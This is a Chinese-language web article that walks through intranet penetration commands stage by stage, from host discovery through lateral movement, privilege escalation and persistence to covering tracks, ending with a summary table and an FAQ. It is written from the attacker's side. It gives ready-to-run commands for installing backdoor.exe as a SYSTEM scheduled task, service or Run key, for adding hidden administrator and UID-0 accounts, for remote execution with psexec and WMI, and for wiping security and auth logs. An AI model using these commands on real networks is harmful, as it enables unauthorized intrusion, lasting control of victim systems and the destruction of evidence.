菜鸟科技网

内网渗透常用命令有哪些?

内网渗透是网络安全领域中的重要环节,攻击者通常在获取外网入口后,会通过一系列命令和技术手段在内网中进行横向移动、权限提升和目标获取,内网渗透过程中,常用命令涵盖了信息收集、横向移动、权限维持、权限提升等多个阶段,这些命令通常结合Windows和Linux系统的特性,通过命令行工具或脚本实现高效操作,以下将从不同阶段详细列举内网渗透中常用的命令及使用场景。

内网渗透常用命令有哪些?-图1
(图片来源网络,侵删)

在信息收集阶段,攻击者首先需要了解内网的基本架构,包括网段划分、活跃主机、开放端口和操作系统类型等,对于Windows系统,使用ipconfig /all可以获取本机IP配置信息,包括IP地址、子网掩码、默认网关和DNS服务器,从而判断内网网段,通过arp -a命令可以查看本地ARP缓存,获取网段内其他主机的IP与MAC地址对应关系,用于识别活跃主机,对于网络连接状态,netstat -ano能够显示当前TCP/UDP连接及监听端口,结合任务管理器中的PID信息,可定位可疑进程,若需扫描网段内存活主机,可使用for /L %i in (1,1,254) do ping -n 1 -w 1 192.168.1.%i | find "TTL="(Windows批处理)或nmap -sn 192.168.1.0/24(Linux安装nmap后),在Linux系统中,ifconfigip addr用于查看网络接口信息,netstat -tuln显示监听端口,nmap -sP 192.168.1.0/24可快速扫描存活主机。net view命令可查看域内工作组计算机列表,net user /domain获取域用户信息,nltest /domain_trusts则用于查询域信任关系,这些命令对域环境信息收集至关重要。

横向移动阶段是内网渗透的核心,攻击者需要获取其他主机的访问权限以扩大控制范围,在Windows环境中,net use命令常用于建立IPC$共享连接,例如net use \\192.168.1.10\ipc$ "password" /user:"administrator",之后可通过copy C:\test.exe \\192.168.1.10\admin$上传文件,若存在明文密码或哈希,使用psexec.exe \\192.168.1.10 -u administrator -p password cmd.exe(Sysinternals工具)可实现远程命令执行,对于PowerShell,Invoke-Command -ComputerName 192.168.1.10 -ScriptBlock {whoami}可远程执行命令,但需启用WinRM服务,在Linux中,ssh username@192.168.1.10是远程登录的常用方式,若存在密钥认证,可通过-i参数指定私钥文件,利用SMB协议,smbclient -L \\192.168.1.10 -U administrator可列出共享资源,smbclient \\192.168.1.10\share -U "administrator%password"则可访问共享目录,若目标系统存在漏洞,如永恒之蓝(MS17-010),可使用metasploit框架中的exploit/windows/smb/ms17_010_eternalblue模块进行攻击,获取shell。

权限提升阶段旨在获取更高权限,以便访问敏感资源或控制系统,Windows系统中,systeminfo命令可查看系统补丁信息,帮助判断是否存在可利用的提权漏洞,如未打补丁的PrintSpooler或Win32k漏洞,利用whoami /priv可查看当前用户权限,若SeDebugPrivilege权限存在,可通过mimikatz等工具窃取系统进程的凭据,对于内核提权,Windows-Exploit-Suggester.py工具可根据系统版本匹配已知提权漏洞,使用python windows-exploit-suggester.py --systeminfo systeminfo.txt -d 2023-exploitdb.csv生成可利用漏洞列表,在Linux中,sudo -l可查看当前用户可执行的sudo命令,若配置不当(如NOPASSWD: ALL),可直接通过sudo /bin/bash获取root权限,内核漏洞提权可使用Linux Exploit Suggester工具,或手动检查/proc/version中的内核版本信息,搜索对应漏洞利用代码,环境变量劫持、服务权限配置错误等也是常见的提权途径,例如通过修改PATH变量劫持可执行文件,或利用AlwaysInstallElevated组策略漏洞安装恶意MSI包。

权限维持阶段确保攻击者能够长期控制目标系统,避免因重启或修复操作导致权限丢失,Windows中,可通过添加计划任务实现持久化,例如schtasks /create /tn "Update" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM,设置在用户登录时执行恶意程序,利用服务自启动,sc create Backdoor binPath= "C:\Windows\Temp\backdoor.exe" start= auto可创建开机自启服务,对于PowerShell,可使用Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "Backdoor" -Value "C:\Windows\Temp\backdoor.exe"修改注册表实现启动项持久化,在Linux中,可通过修改/etc/crontab文件添加定时任务,例如* * * * * root /usr/bin/backdoor.sh,每分钟执行一次脚本,也可将恶意脚本加入/etc/profile~/.bashrc文件,确保用户登录时自动加载,后门账户也是常用的维持方式,Windows中可通过net user hacker P@ssw0rd /add && net localgroup administrators hacker /add添加管理员账户,Linux中则使用useradd -o -u 0 hacker创建UID为0的root用户。

内网渗透常用命令有哪些?-图2
(图片来源网络,侵删)

在内网渗透过程中,攻击者还需要注意痕迹清理和日志规避,避免被检测系统发现,Windows事件日志可通过wevtutil qe Security /q:"*[System[(EventID=4624)]]"查询登录事件,攻击者可利用wevtutil cl Security清除安全日志(需管理员权限),在Linux中,last命令查看登录历史,cat /var/log/auth.logjournalctl -u ssh查看SSH登录日志,攻击者可通过echo > /var/log/auth.log清空日志,利用Invoke-Phant0m(PowerShell工具)可禁用Windows事件日志,或通过修改注册表隐藏敏感操作记录。

以下为内网渗透常用命令的简要总结表格:

阶段 Windows命令示例 Linux命令示例 功能说明
信息收集 ipconfig /all, netstat -ano ifconfig, netstat -tuln 获取网络配置、连接状态
存活主机扫描 for /L %i in (1,1,254) do ping ... nmap -sn 192.168.1.0/24 扫描网段内活跃主机
域信息收集 net user /domain, nltest /domain_trusts enum4linux -a 192.168.1.10 获取域用户、信任关系
横向移动 net use \ip\ipc$, psexec \ip -u ... ssh user@ip, smbclient \ip\share 远程连接、文件传输、命令执行
权限提升 systeminfo, whoami /priv sudo -l, uname -a 查看系统信息、用户权限、内核版本
权限维持 schtasks /create, sc create crontab -e, echo >> /etc/profile 创建计划任务、服务自启、启动项修改
日志清理 wevtutil cl Security, eventclear echo > /var/log/auth.log, journalctl --vacuum-time=1d 清除事件日志、系统日志

相关问答FAQs:

Q1: 内网渗透中如何快速判断目标系统是否存在漏洞?
A1: 可通过以下步骤快速判断:① 使用systeminfo(Windows)或uname -a(Linux)获取系统版本和补丁信息;② 利用漏洞扫描工具如Nmap的脚本扫描功能(nmap --script vuln <target>)检测已知漏洞;③ 使用专门的漏洞利用建议工具,如Windows-Exploit-Suggester.pyLinux-Exploit-Suggester,将系统信息与漏洞数据库匹配,生成可利用的漏洞列表;④ 结合手动检查,如查看常见未打补丁的服务(如SMB、RDP、SQL Server等)版本信息,判断是否存在公开漏洞利用代码。

内网渗透常用命令有哪些?-图3
(图片来源网络,侵删)

Q2: 在横向移动过程中,若目标系统禁用了PowerShell或限制远程访问,有哪些替代方案?
A2: 若PowerShell被禁用或远程访问受限,可采取以下替代方案:① 使用WMI(Windows Management Instrumentation)进行远程操作,例如wmic /node:192.168.1.10 process call create "cmd.exe /c net user",通过WMI执行命令且无需开启WinRM或PowerShell;② 利用SMB共享和计划任务,如copy backdoor.exe \\192.168.1.10\c$\ && schtasks /create /s 192.168.1.10 /tn "Task" /tr "c:\backdoor.exe" /sc once /st 00:00 /ru SYSTEM,通过计划任务执行恶意程序;③ 尝试其他协议如RDP(若存在弱口令)、SSH(Linux系统)或FTP进行文件传输和远程执行;④ 使用第三方工具如Cobalt Strikebeacon代理,通过HTTP/S、DNS等隐蔽通道进行通信,绕过网络限制。

分享:
扫描分享到社交APP
上一篇
下一篇